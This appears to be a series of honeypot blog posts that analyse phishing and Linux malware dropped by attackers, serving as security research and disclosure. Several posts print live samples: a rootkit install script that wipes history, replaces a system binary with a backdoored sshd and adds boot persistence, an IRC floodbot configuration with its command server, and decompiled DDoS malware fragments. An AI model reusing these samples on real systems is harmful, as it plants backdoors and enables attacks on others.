A Look at Fax Phishing

I recently setup a new honeypot which appears to be an IT security related company.

In addition to a few other hidden gems, this honeypot is complete with fake contact information for the company, including email, phone, and fax.

Today I received my first hit from the honeypot - and I was very surprised when it was a phishing attempt over fax!

The Phishing Attempt sent over Fax

This fax claims to be from the company's HR department, and is addressed to all employees, and advertises a 6 day all inclusive vacation at an exotic out-of-the-country location for only $129 per person.

The old adage holds true here - if something sounds too good to be true, it probably is.

A quick search shows that the number is very commonly used in scams, as seen here and here.

Of course the dead giveaway that this is a scam is that my honeypot doesn't have an HR department, and no one actually exists in the company to send such an offer out to the honeypot's nonexistent employees.

I have a feeling this new honeypot will provide for some great entertainment. Stay tuned for more!

New Honeypot Online!

I just got my second honeypot up an running - Glastopf!

This honeypot will allow me to capture HTTP based attacks, as well as the SSH attacks I'm already capturing with Kippo.

If I get any interesting hits I'll be sure to post!

IRC Floodbot Placed on My Honeypot

Someone dropped off an IRC Floodbot today on my honeypot.

It's nothing spectacular or groundbreaking, and appears to have been around since at least 2009, maybe earlier.

I've replaced the binaries with VirusTotal analysis, and posted everything else as I received it.

You can browse the shell scripts, as well the the malware's help file, at my Google Code site.

By the way, here's the config info for the bot's command and control center:

NICK          Hack
USERFILE      1
CMDCHAR       *
LOGIN       eliata
IRCNAME       juno boot flood 
MODES         +ix-ws
TOG CC        0
TOG CLOAK     1
TOG SPY       1
SET OPMODES   4
SET BANMODES  6
SET AAWAY     1
TOG NOIDLE    1


CHANNEL       #m0atrea
TOG PUB       1
TOG MASS      1
TOG SHIT      1
TOG PROT      1
TOG ENFM      1
SET ENFM      +nt
SET MDL       4
SET MKL       4
SET MBL       4
SET MPL       1


SERVER irc.deadly-co.ro 6667

I hope you enjoy examining the bot.

Hacking to Setup a Free Counter Strike Server?

This week an attacker cracked my honeypot's root password "123456" and tried to install software I've never seen before.

The file was quite large for most malware packages, at over 20 MB.  Curiously I uploaded the file to VirusTotal and was quite surprised that it came back completely clean.

VirusTotal Analysis of csservers_redirecte_linux_hlds.zip

After digging into the file further, I found that the file was actually a Counter Strike server?

Sure enough, more digging the more I verified the hacker had compromised my honeypot with the sole purpose of running a Counter Strike server.

I use the term hacker loosely because based upon the the attack, the person did not seem very knowledgeable outside of using his install scripts.

You can read the full attack logs on Google Drive.

This is the first time I've ever seen someone compromise a system to install a game server.  I know there was a day when IRC chat bots were all the rage that people would compromise servers just to install them, but they're lightweight and don't generate a lot of traffic.  A gaming server is going to generate a lot of traffic and CPU load, and surely would be noticed almost right away, right???

Linux Rootkit "bum.pdf" dropped onto my Honeypot Today

A malicious user from Romania using Putty dropped off a Linux rootkit on my honeypot today.

From my initial analysis it appears that the honeypot installs a hidden SSH server running on port 10001.

I haven't had much time to look through the entire package but if you'd like to browse what was dropped off I have uploaded everything to CaffSec-Malware-Analysis.

If you find anything interesting please free to post a comment.


UPDATE: I have found a related article on TMCNET.com talking about a backdoor installed on port 10001.  Read the article here: http://blog.tmcnet.com/blog/tom-keating/asterisk/hacked-asterisk-pbx-update.asp


Here is the install script for the main payload.  Interesting stuff!

#!/bin/bash
unset HISTSAVE
unset HISTFILE
unset SAVEFILE
unset history
mv libcrypto.so.4 /lib/
chattr -suia /usr/sbin/zdump
rm -rf /usr/sbin/zdump
mv sshd /usr/sbin/zdump
chattr +suia /usr/sbin/zdump
mkdir -p /usr/include/X11/.swap/
tar xvfz pic.tar.gz -C /usr/include/X11/.swap/ >>/dev/null
mkdir -p /usr/include/sound
mv sound.so /usr/include/sound/
mv sounds.h /usr/include/sound/
chmod 770 /usr/include/sound/sounds.h
/usr/include/sound/sounds.h
echo "# Now that we have all of our basic modules loaded and the kernel going,">>/etc/rc.sysinit
echo "# let's dump the syslog ring somewhere so we can find it later" >>/etc/rc.sysinit
echo "/usr/include/sound/sounds.h" >>/etc/rc.sysinit
sleep 10
echo "Enjoy your new box on port 10001"
cd ..
rm -rf rks* 

New Hacktool Found on my Honeypot "nt"

A script kiddy dropped off a new hack tool on my honeypot today.

Today's guest hails from 77.28.151.190 which is in Macedonia, The Former Yugoslav Republic of(MK) in Eastern Europe.



The file dropped off "rdp.tgz" is a Linux hack tool for remotely cracking Windows FTP and NT file shares.

I was somewhat disappointed that the hack tool isn't more complex, however, since it is still a new hack tool which isn't detected by an antivirus software, I figured it was worth mentioning.

I've uploaded a full analysis at:
http://code.google.com/p/caffsec-malware-analysis/source/browse/trunk/nt

Watch my Honeypot LIVE!

I've decided to start streaming my honeypot on UStream.

No set hours for this yet, but it should be interesting when it is live!


Please feel free to check it out over at my UStream Channel.

Also, keep an eye on my Twitter for when I go live!

Malware Analysis Lab - New Feature!

I'm happy to announce that I have created a Google code project called the Caffeine Security Malware Analysis Lab.

At this project, you will be able to see my current research into unknown malware on my honeypot, and even contribute to my research!

I have uploaded source code for xsyslog and ssyslog, which can be accessed through the source code svn repository.

Checkout the project now!

Following the Trail: Determining the Origins of Linux/Bckdr-RKC

It is already known that the two Linux/Bckdr-RKC variants I have received have both been hosted by 216.83.44.229.  Furthermore, the first variant had a phone-home address of 216.83.44.226.

Both of these IP addresses are registered to the netblock owned by WIRELESS-ALARM.COM (not to be confused with the actual website wireless-alarm.com, which is registered to a different contact completely, and unrelated here).

Let's use what we already know to try to find the organization responsible for this malware.

Chinese Origins in .ssyslog Decompiled - Linux/Bckdr-RKC and Hutizu

 I have partially decompiled the second piece of malware which was similar to the original Linux/Bckdr-RKC dropped on my honeypot.

Update: .ssyslog is now detected as "Hutizu".

I am publicly posting the first section of this file to highlight my findings so far...

Update: The full decompiled source of both pieces of malware is now available at Google Code

The first part of this decompiled code which really stood out was a clear marker that this malware is definately of Chinese origin.  This snippet of code is from the following function  

int autoupdate(char* url_address, char* local_to_file)

Code:

L0805FF50( &_v3660, "GET /%s HTTP/1.1

\nAccept: */*

\nAccept-Language: zh-cn

\nUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)

\nHost: %s:%d

\nConnection: Close

\n

\n",  &_v2380);

The "Accept-Language" of zh-cn represents Traditional Chinese as the desired web browse language.

This means the malware in question was most likely programmed by a native speaker of Chinese.  Add to this the fact that the malware is hosted by a fake corporation in China, and that the previous version of this malware also phoned home to the same fake corporation, this all becomes very interesting.

Here are a few other function names from this latest version:

• copy_myself(const char* name)
• autostart(const char* inser_to_file)
• int SendSevMonitor()
• int SendServerPack()
• GetNetPackets(long long unsigned int* lNetOut, long long unsigned int* lPacketOut)
• int moniter(char* host)
• int udpflood(_Unknown_base* ThreadData)
• int synflood(_Unknown_base* ThreadData)
• int synbigpacket(_Unknown_base* ThreadData)
• int ackflood(_Unknown_base* ThreadData)
• int ackbigpacket(_Unknown_base* ThreadData)
• GetStructureDnsPacket(char* QueryDomain, char* QueryData, int* nQueryData)
• int dnsflood(_Unknown_base* ThreadData)
• int more_ip_dns_test(_Unknown_base* ThreadData)
• int autoupdate(char* url_address, char* local_to_file)
• int get_online_ip(char* domain, char* return_ip)
• int parse_dns_response(char* return_ip)
• parse_dns_name(unsigned char* chunk, unsigned char* ptr, char* out, int* len)
• send_dns_request(const char* dns_name)
• connect_to_server()

Make no mistake, this malware is clearly designed to perform reconnaissance on internal networks and disrupt communications when instructed to do so by the command and control server.

The malware has self-replication and automatic update capabilities.

I find this malware very disturbing.

What I find even more distrubing is the fact that since my submission of this malware to antivirus vendors, with the exception of Avira who believes this file is clean, none of the antivirus vendors have completed their analysis.

These two pieces of malware seem very professionally crafted with a clear purpose - to serve as a "cyber weapon".

Linux/Bckdr-RKC: A New Variant Appears

Someone was busy this Christmas.

A new variant of Linux/Bckdr-RKC has been placed on my honeypot.

Unfortunately detections by Sophos do not detect this variant, so I've sent it back to them for analysis.

I have posted the strings from the unpacked malware, as well as a diff between the strings of the old version and new version.

I will post updates as I can.

Linux/Bckdr-RKC Initial Analysis

A malicious user dropped off a VERY interesting piece of malware on my honeypot today with the filename ".xsyslog"

This piece of malware was previously undetected, and many kudos to Sophos for being the first to confirm my findings that the software was malicious.

So far, I have been able to determine the following:

This is a UPX packed Linux ELF which appears to have been around since late November 2011, according to internet searches.



The malware is installed from a compromised system after cracking a SSH server's root password, in the path /etc/.xsyslog

The malware is downloaded from an IP address which appears to be hosted in Hong Kong by a fake corporation: 216.83.44.229 port 99

It phones home to an IP address which appears to be hosted by the same fake corporation: 216.83.44.226 port 81

I have uploaded all relevant strings within the unpacked file to Pastebin.

I will provide additional details as I find/receive them.  This malware has been forwarded to US-CERT, as well as multiple anti-virus vendors.

Track current AV coverage at http://md5.virscan.org/58c23ca549c941f0d44b35fa31d77011

Related Reading:
Sophos Whitepaper Protection for Mac and Linux Computers: Genuine Need or Nice to Have?

Mystery Malware: An echo powered DDoS Script?

Christmas came early today, and a hacker dropped off a present...a piece of mystery malware.

This piece of malware was dropped onto my Linux honeypot simply named "DDoser".

The file has a 0% detection rate.  Interesting.


This appears to simply be a Linux/UNIX shell script.

It starts with the following line repeated multiple times:

echo "2e61e112030709378914f8280fd09f62e

61e112030709378914f8280fd09f62e61e11203

0709378914f8280fd09f62e61e1120307093789

14f8280fd09f62e61e112030709378914f8280f

d09f6"

And ends with the following lines:

clear
echo
echo "**********************************************"
echo "The Installation Of D3v1Lz T34m Ddoser"
echo "Should Be Running Now On D3v1Lz Ircds"
echo
echo "Make Sure That Ddoser Is Running - Use This Command:"
echo "ps x"
echo
echo "If You See 'addict' Listed, Then It's Running."
echo "You Can Then Fuck Ips Randomly On Your Botnets."
echo "**********************************************"
echo
echo "Enjoy Our Best Services At WebShells Co. , For More"
echo "Info Contact Us On Tech@WShells.Ws Or Call Us On 03-50 12 10"
echo "More Info About Script: Chadi@WShells.Ws"
exit 0
fi

An echo powered DDoS script?  That doesn't make sense...

If ET were a Hacker, he would just try to phone home...

Up until now, all of the honeypot compromises I've logged have simply been attempts to propagate network scanning and IRC bots.

Today's compromise was a little different.

It started off with a regular SSH dictionary crack attempt which ultimately succeeded..

BUSTED!

The password cracker script kiddies can't resist my picnic basket...

Today an attacker with a SSH brute force script accidentally "showed his hand" by connecting to my honeypot from his own system shortly after stopping his scan from his compromised system.

Unlike my previous, um, visitor, this attacker seems to have very few tricks up his sleeve.  He attempted to upload something to my honeypot through sftp.  Unsuccessful, he abandoned his attempts.

Today's "guest" is from Romania, and seems to prefer to scan using compromised systems in Germany to prevent his IP from being immediately reported for conducting port scans.

Much like other attackers, he shows that he is using his Windows system through the client version string "PuTTY-Release-0.53b".

A notification email has been sent to both ISPs to report the attacker, as well as his compromised system being used for scanning.


Original Log: Kippo-Mon 10172011.log

Mystery Malware Examined

In a previous post, I looked inside a hacker's toolkit, and found two "mystery files", "i" and "f".

Analysis of these files has revealed that these files were both Linux executables.

In addition to forwarding these files to AV vendors, I am analyzing these files myself.

Using decompile-it.com, I was able to retrieve source code for "i", and limited source for "f".

What's in a hacker's toolkit?

An attacker recently gained access to my honeypot, and began uploading hack tools using wget.

While his hack tools did not actually infect anything, I retained a copy for evaluation, and even gained access to his FTP server which contained all of his tools.

The available tools in this attacker's bag of tricks is quite interesting.

A look at a simple SSH probe and password crack

Here's an annotated look at how an attacker using a SSH password cracker compromises servers.

First the attacker probes to see if SSH is accepting connections.  Most likely the scanner also attempted to fingerprint the IP address to identify the operating system.  This is most likely an automated process on a compromised system.

2011-10-05 05:08:56-0400 [kippo.core.honeypot.HoneyPotSSHFactory] New connection: 221.176.11.13:35868 (192.168.1.165:22) [session: 0]
2011-10-05 05:08:56-0400 [HoneyPotTransport,0,221.176.11.13] connection lost

Next the attacker begins attempting to crack the SSH password for the root user.  Once again these attempts are automated, and use a cracking tool which is based upon SSH-2.0-libssh-0.11.

"Listening" to a Password Cracker

I used the P22.com Music Text Composition Generator to create music using attempted usernames and passwords I gathered during just one cracking attempt at my honeypot.  The music is recorded at 2400 BPM using Lead 8 (bass + lead).

I feel the music has an electrifying video game feel to it.  The purpose of this video is to raise online security awareness.  I hope you enjoy it!

YouTube Link

More password analysis

As more passwords are processed by my honeypot, I've decided to publish the password list in "cloud" format in addition to the raw data.  I feel this visualization is rather insightful, and shows interesting trends in password attempts.

Password Cloud

Interestingly enough is the fact that the most attempted password is "branburica".  A Google Search does not yield much info.